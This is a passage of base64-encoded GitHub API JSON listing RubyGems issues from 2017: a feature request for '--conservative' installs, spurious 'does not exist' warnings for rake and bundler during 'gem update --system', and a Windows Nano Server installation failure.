Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1NTI0NzUwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGZlYXR1cmUlMjByZXF1ZXN0IiwibmFtZSI6InR5cGU6IGZlYXR1cmUgcmVxdWVzdCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjEsImNyZWF0ZWRfYXQiOiIyMDE3LTExLTE1VDE5OjU4OjU4WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTA3VDExOjIzOjQ0WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiT1dORVIiLCJib2R5IjoiSW4gUnVieUdlbXMgMi44IG9yIDMuMCwgSSBob3BlIHRvIG1ha2UgYC0tY29uc2VydmF0aXZlYCBvcHRpb24gdG8gZGVmYXVsdCBvbiBgaW5zdGFsbGAgYW5kIGB1cGRhdGVgIGNvbW1hbmQuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDcxIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwNzEvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwNzEvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA3MS9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA3MSIsImlkIjoyNzIzOTM0MDIsIm51bWJlciI6MjA3MSwidGl0bGUiOiJyYWtlLTEwLjUuMC9iaW4vcmFrZSBkb2VzIG5vdCBleGlzdCBlcnJvciBtZXNzYWdlIHdoZW4gdXBncmFkaW5nIHRvIDIuNy4yIiwidXNlciI6eyJsb2dpbiI6IndsaXBhIiwiaWQiOjE1OTcwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMi5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNTk3MD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2xpcGEiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS93bGlwYSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dsaXBhL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dsaXBhL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dsaXBhL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93bGlwYS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3dsaXBhL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2xpcGEvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2xpcGEvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy93bGlwYS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvd2xpcGEvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjQsImNyZWF0ZWRfYXQiOiIyMDE3LTExLTA4VDIzOjU5OjAzWiIsInVwZGF0ZWRfYXQiOiIyMDE3LTExLTI5VDE0OjAwOjA1WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJXaGVuIHVwZGF0aW5nIHJ1YnlnZW1zIGZyb20gMi42LjE0IHRvIDIuNy4yLCBJIHNlZSB0aGUgZm9sbG93aW5nIGVycm9yIG1lc3NhZ2UgYWJvdXQgYW4gb2xkIHZlcnNpb24gb2YgcmFrZTpcclxuXHJcbmBgYFxyXG4kIHN1ZG8gZ2VtIHVwZGF0ZSAtLXN5c3RlbVxyXG5bc3Vkb10gcGFzc3dvcmQgZm9yIG9wczogXHJcblVwZGF0aW5nIHJ1YnlnZW1zLXVwZGF0ZVxyXG5GZXRjaGluZzogcnVieWdlbXMtdXBkYXRlLTIuNy4yLmdlbSAoMTAwJSlcclxuU3VjY2Vzc2Z1bGx5IGluc3RhbGxlZCBydWJ5Z2Vtcy11cGRhdGUtMi43LjJcclxuSW5zdGFsbGluZyBSdWJ5R2VtcyAyLjcuMlxyXG5CdW5kbGVyIDEuMTYuMCBpbnN0YWxsZWRcclxuUnVieUdlbXMgMi43LjIgaW5zdGFsbGVkXHJcblJlZ2VuZXJhdGluZyBiaW5zdHVic1xyXG5gL3Vzci9zaGFyZS9ydWJ5Z2Vtcy1pbnRlZ3JhdGlvbi9hbGwvZ2Vtcy9yYWtlLTEwLjUuMC9iaW4vcmFrZWAgZG9lcyBub3QgZXhpc3QsIG1heWJlIGBnZW0gcHJpc3RpbmUgcmFrZWAgd2lsbCBmaXggaXQ/XHJcblJ1YnlHZW1zIHN5c3RlbSBzb2Z0d2FyZSB1cGRhdGVkXHJcbmBgYFxyXG5cclxuVGhlIGluc3RhbGwgc2VlbXMgdG8gd29yayB0aG91Z2guXHJcblxyXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudmlyb25tZW50IGRldGFpbHM6XHJcblxyXG5gYGBcclxuJCBnZW0gZW52IHZlcnNpb25cclxuUnVieUdlbXMgRW52aXJvbm1lbnQ6XHJcbiAgLSBSVUJZR0VNUyBWRVJTSU9OOiAyLjcuMlxyXG4gIC0gUlVCWSBWRVJTSU9OOiAyLjMuMSAoMjAxNi0wNC0yNiBwYXRjaGxldmVsIDExMikgW3g4Nl82NC1saW51eC1nbnVdXHJcbiAgLSBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiAvdmFyL2xpYi9nZW1zLzIuMy4wXHJcbiAgLSBVU0VSIElOU1RBTExBVElPTiBESVJFQ1RPUlk6IC9ob21lL29wcy8uZ2VtL3J1YnkvMi4zLjBcclxuICAtIFJVQlkgRVhFQ1VUQUJMRTogL3Vzci9iaW4vcnVieTIuM1xyXG4gIC0gRVhFQ1VUQUJMRSBESVJFQ1RPUlk6IC91c3IvbG9jYWwvYmluXHJcbiAgLSBTUEVDIENBQ0hFIERJUkVDVE9SWTogL2hvbWUvb3BzLy5nZW0vc3BlY3NcclxuICAtIFNZU1RFTSBDT05GSUdVUkFUSU9OIERJUkVDVE9SWTogL2V0Y1xyXG4gIC0gUlVCWUdFTVMgUExBVEZPUk1TOlxyXG4gICAgLSBydWJ5XHJcbiAgICAtIHg4Nl82NC1saW51eFxyXG4gIC0gR0VNIFBBVEhTOlxyXG4gICAgIC0gL3Zhci9saWIvZ2Vtcy8yLjMuMFxyXG4gICAgIC0gL2hvbWUvb3BzLy5nZW0vcnVieS8yLjMuMFxyXG4gICAgIC0gL3Vzci9saWIveDg2XzY0LWxpbnV4LWdudS9ydWJ5Z2Vtcy1pbnRlZ3JhdGlvbi8yLjMuMFxyXG4gICAgIC0gL3Vzci9zaGFyZS9ydWJ5Z2Vtcy1pbnRlZ3JhdGlvbi8yLjMuMFxyXG4gICAgIC0gL3Vzci9zaGFyZS9ydWJ5Z2Vtcy1pbnRlZ3JhdGlvbi9hbGxcclxuICAtIEdFTSBDT05GSUdVUkFUSU9OOlxyXG4gICAgIC0gOnVwZGF0ZV9zb3VyY2VzID0+IHRydWVcclxuICAgICAtIDp2ZXJib3NlID0+IHRydWVcclxuICAgICAtIDpiYWNrdHJhY2UgPT4gZmFsc2VcclxuICAgICAtIDpidWxrX3RocmVzaG9sZCA9PiAxMDAwXHJcbiAgICAgLSBcImdlbVwiID0+IFwiLS1uby1yZG9jIC0tbm8tcmlcIlxyXG4gICAgIC0gXCJpbnN0YWxsXCIgPT4gXCItLXVzZXItaW5zdGFsbCAtbiAvaG9tZS9vcHMvYmluXCJcclxuICAgICAtIFwidXBkYXRlXCIgPT4gXCItLXVzZXItaW5zdGFsbCAtbiAvaG9tZS9vcHMvYmluXCJcclxuICAtIFJFTU9URSBTT1VSQ0VTOlxyXG4gICAgIC0gaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvXHJcbiAgLSBTSEVMTCBQQVRIOlxyXG4gICAgIC0gL2hvbWUvb3BzL2JpblxyXG4gICAgIC0gL3Vzci9sb2NhbC9zYmluXHJcbiAgICAgLSAvdXNyL2xvY2FsL2JpblxyXG4gICAgIC0gL3Vzci9zYmluXHJcbiAgICAgLSAvdXNyL2JpblxyXG4gICAgIC0gL3NiaW5cclxuICAgICAtIC9iaW5cclxuICAgICAtIC91c3IvZ2FtZXNcclxuICAgICAtIC91c3IvbG9jYWwvZ2FtZXNcclxuICAgICAtIC9zbmFwL2JpblxyXG4gICAgIC0gLi9iaW5cclxuYGBgXHJcblxyXG5UaGVyZSBhcmUgYSBmZXcgcmFrZSB2ZXJzaW9ucyBpbnN0YWxsZWQgb24gdGhpcyBtYWNoaW5lLiAgSSBkb24ndCBrbm93IHdoeSB0aGUgcnVieWdlbXMgdXBkYXRlIHByb2Nlc3MgaXMgZ2VuZXJhdGluZyBhIG1lc3NhZ2UgYWJvdXQgdGhpcyBvbGQgdmVyc2lvbiBvZiByYWtlLlxyXG5yYWtlICgxMi4yLjEsIDEyLjEuMCwgMTIuMC4wLCAxMC41LjApXHJcblxyXG5UaGUgcmVmZXJlbmNlZCBkaXJlY3RvcnkgaW5kZWVkIGRvZXMgbm90IGV4aXN0LCBiZWNhdXNlIC91c3Ivc2hhcmUvcnVieWdlbXMtaW50ZWdyYXRpb24vYWxsLyBvbmx5IGNvbnRhaW5zIGJpbiBhbmQgc3BlY2lmaWNhdGlvbnMgc3ViZGlycy5cclxuICJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA2MCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDYwL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDYwL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwNjAvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwNjAiLCJpZCI6MjcxMTU4MTE3LCJudW1iZXIiOjIwNjAsInRpdGxlIjoiJ2J1bmRsZSBkb2VzIG5vdCBleGlzdCcgbG9ncyB3aGVuIHVwZGF0aW5nIFJ1YnlHZW1zIiwidXNlciI6eyJsb2dpbiI6InRoaXNpc215ZGVzaWduIiwiaWQiOjMyOTk5NDgsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMzLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzMyOTk5NDg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RoaXNpc215ZGVzaWduIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vdGhpc2lzbXlkZXNpZ24iLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90aGlzaXNteWRlc2lnbi9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90aGlzaXNteWRlc2lnbi9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90aGlzaXNteWRlc2lnbi9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGhpc2lzbXlkZXNpZ24vc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy90aGlzaXNteWRlc2lnbi9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RoaXNpc215ZGVzaWduL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RoaXNpc215ZGVzaWduL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdGhpc2lzbXlkZXNpZ24vZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3RoaXNpc215ZGVzaWduL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjo0NDMyOTMzODQsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB1c2VyJTIwZmVlZGJhY2slMjByZXF1aXJlZCIsIm5hbWUiOiJzdGF0dXM6IHVzZXIgZmVlZGJhY2sgcmVxdWlyZWQiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo3LCJjcmVhdGVkX2F0IjoiMjAxNy0xMS0wNFQwMTo1NDoxNFoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0xMS0zMFQwNzo0NToyNVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiTXkgY3VycmVudCBwcm9ibGVtIGlzIHRoYXQgSSBzZWUgJ2J1bmRsZSBkb2VzIG5vdCBleGlzdCcgbG9ncyB3aGVuIHJ1bm5pbmcgYGdlbSB1cGRhdGUgLS1zeXN0ZW1gLiBUaGUgY29tbWFuZCBleGlzdHMgc3VjY2Vzc2Z1bGx5LiBUaGlzIGlzc3VlIGlzICoqbm90KiogcHJlc2VudCB3aGVuIHJ1bm5pbmcgYGdlbSBpbnN0YWxsIHJ1YnlnZW1zLXVwZGF0ZSAmJiB1cGRhdGVfcnVieWdlbXNgLiBNaWdodCBiZSByZWxhdGVkIHRvICMyMDU1LlxyXG5cclxuTXkgZXhhY3Qgb3V0cHV0OlxyXG5cclxuYGBgXHJcblN0ZXAgNi8xMiA6IFJVTiBnZW0gaW5zdGFsbCBydWJ5Z2Vtcy11cGRhdGUgJiYgdXBkYXRlX3J1YnlnZW1zXHJcbiAtLS0+IFJ1bm5pbmcgaW4gNmNjY2QzNTQ0YzI3XHJcblN1Y2Nlc3NmdWxseSBpbnN0YWxsZWQgcnVieWdlbXMtdXBkYXRlLTIuNy4xXHJcbjEgZ2VtIGluc3RhbGxlZFxyXG5bOTFtZmF0YWw6IE5vdCBhIGdpdCByZXBvc2l0b3J5IChvciBhbnkgb2YgdGhlIHBhcmVudCBkaXJlY3Rvcmllcyk6IC5naXRcclxuWzBtXHUwMDFCWzkxbWAvb3B0L3J1YnktMi40LjIvbGliL3J1YnkvZ2Vtcy8yLjQuMC9nZW1zL2J1bmRsZXItMS4xNC40L2V4ZS9idW5kbGVgIGRvZXMgbm90IGV4aXN0LCBtYXliZSBgZ2VtIHByaXN0aW5lIGJ1bmRsZXJgIHdpbGwgZml4IGl0P1xyXG5gL29wdC9ydWJ5LTIuNC4yL2xpYi9ydWJ5L2dlbXMvMi40LjAvZ2Vtcy9idW5kbGVyLTEuMTQuNC9leGUvYnVuZGxlcmAgZG9lcyBub3QgZXhpc3QsIG1heWJlIGBnZW0gcHJpc3RpbmUgYnVuZGxlcmAgd2lsbCBmaXggaXQ/XHJcblx1MDAxQlswbUJ1bmRsZXIgMS4xNi4wIGluc3RhbGxlZFxyXG5SdWJ5R2VtcyAyLjcuMSBpbnN0YWxsZWRcclxuYGBgXHJcblxyXG5VbmZvcnR1bmF0ZWx5IEkgY291bGQgbm90IHJlcHJvZHVjZSBvbiBhIG1pbmltYWwgZXhhbXBsZS4gKFsxXShodHRwczovL2dpdGh1Yi5jb20vdGhpc2lzbXlkZXNpZ24vcnVieWdlbXMtdXBkYXRlLTIuNy4wLWJ1Zy90cmVlL2FmNzA4YTY4MmFhZDMyYTA0N2NhZWRhNWE1MzMyZmYyZTE5Y2E4NDQpLCBbMl0oaHR0cHM6Ly90cmF2aXMtY2kub3JnL3RoaXNpc215ZGVzaWduL3J1YnlnZW1zLXVwZGF0ZS0yLjcuMC1idWcvYnVpbGRzLzI5NzA2NDU5NykpXHJcblxyXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XHJcblxyXG4gIC0gWyBdIE5ldHdvcmsgcHJvYmxlbXNcclxuICAtIFsgXSBJbnN0YWxsaW5nIGEgbGlicmFyeVxyXG4gIC0gWyBdIFB1Ymxpc2hpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbWF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxyXG4gIC0gWyBdIE90aGVyXHJcblxyXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudmlyb25tZW50IGRldGFpbHM6XHJcblxyXG5gYGBcclxuJCBnZW0gZW52IHZlcnNpb25cclxuMi43LjFcclxuYGBgXHJcblxyXG5CdWlsZGluZyB2aWEgcmJlbnYgYW5kIGRvY2tlci5cclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMjA0OCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDQ4L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDQ4L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwNDgvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwNDgiLCJpZCI6MjY4MTY1NzMyLCJudW1iZXIiOjIwNDgsInRpdGxlIjoiSW5zdGFsbGF0aW9uIGZhaWxzIG9uIE5hbm8gU2VydmVyIDE3MDkiLCJ1c2VyIjp7ImxvZ2luIjoiaGJ1Y2tsZSIsImlkIjoxODQ5OTA3OSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTg0OTkwNzk/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hidWNrbGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oYnVja2xlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaGJ1Y2tsZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oYnVja2xlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hidWNrbGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hidWNrbGUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oYnVja2xlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaGJ1Y2tsZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oYnVja2xlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaGJ1Y2tsZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaGJ1Y2tsZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1NzI4ODUxLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9wbGF0Zm9ybTolMjB3aW5kb3dzIiwibmFtZSI6InBsYXRmb3JtOiB3aW5kb3dzIiwiY29sb3IiOiI1MzE5ZTciLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6NDQzMjkzMzg0LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdXNlciUyMGZlZWRiYWNrJTIwcmVxdWlyZWQiLCJuYW1lIjoic3RhdHVzOiB1c2VyIGZlZWRiYWNrIHJlcXVpcmVkIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MTEyMjMwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGJ1ZyUyMHJlcG9ydCIsIm5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6NCwiY3JlYXRlZF9hdCI6IjIwMTctMTAtMjRUMTk6NTg6MTZaIiwidXBkYXRlZF9hdCI6IjIwMTctMTItMDdUMDg6NTg6NDBaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJOT05FIiwiYm9keSI6Ikluc3RhbGxhdGlvbiBvbiB0aGUgbGF0ZXN0IE5hbm8gU2VydmVyIGRvY2tlciBpbWFnZSAobWljcm9zb2Z0L25hbm9zZXJ2ZXI6MTcwOSkgZmFpbHMgd2l0aCB0aGUgZXJyb3JcclxuXHJcbmdlbSBpbnN0YWxsIC0tbG9jYWwgQzpcXHRtcFxccnVieWdlbXMtdXBkYXRlLTIuNi4xMy5nZW0gLS1uby1yaSAtLW5vLXJkb2NcclxuQzovUnVieV8yLjIuNF94NjQvbGliL3J1YnkvMi4yLjAvcnVieWdlbXMvY29uZmlnX2ZpbGUucmI6ODk6aW4gYGpvaW4nOiBubyBpbXBsaWNpdCBjb252ZXJzaW9uIG9mIG5pbCBpbnRvIFN0cmluZyAoVHlwZUVycm9yKVxyXG5cclxuVGhpcyBsb29rcyB0byBiZSBkdWUgdG8gdGhlIHVzYWdlIG9mIFNIR2V0Rm9sZGVyUGF0aCBpbiBTWVNURU1fQ09ORklHX1BBVEgsIHdoaWNoIGlzIHJldHVybmluZyBibGFuayB2YWx1ZXMgb24gTmFubyBTZXJ2ZXIgKFtodHRwczovL2dpdGh1Yi5jb20vZG90bmV0L2NvcmVmeC9pc3N1ZXMvMTkxMTBdKGh0dHBzOi8vZ2l0aHViLmNvbS9kb3RuZXQvY29yZWZ4L2lzc3Vlcy8xOTExMCkpIC0gaW5zdGVhZCBpdCB3b3VsZCBiZSBiZXR0ZXIgdG8gdXNlIHRoZSBBTExVU0VSU1BST0ZJTEUgZW52aXJvbm1lbnQgdmFyaWFibGUuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8yMDQ2IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwNDYvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIwNDYvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ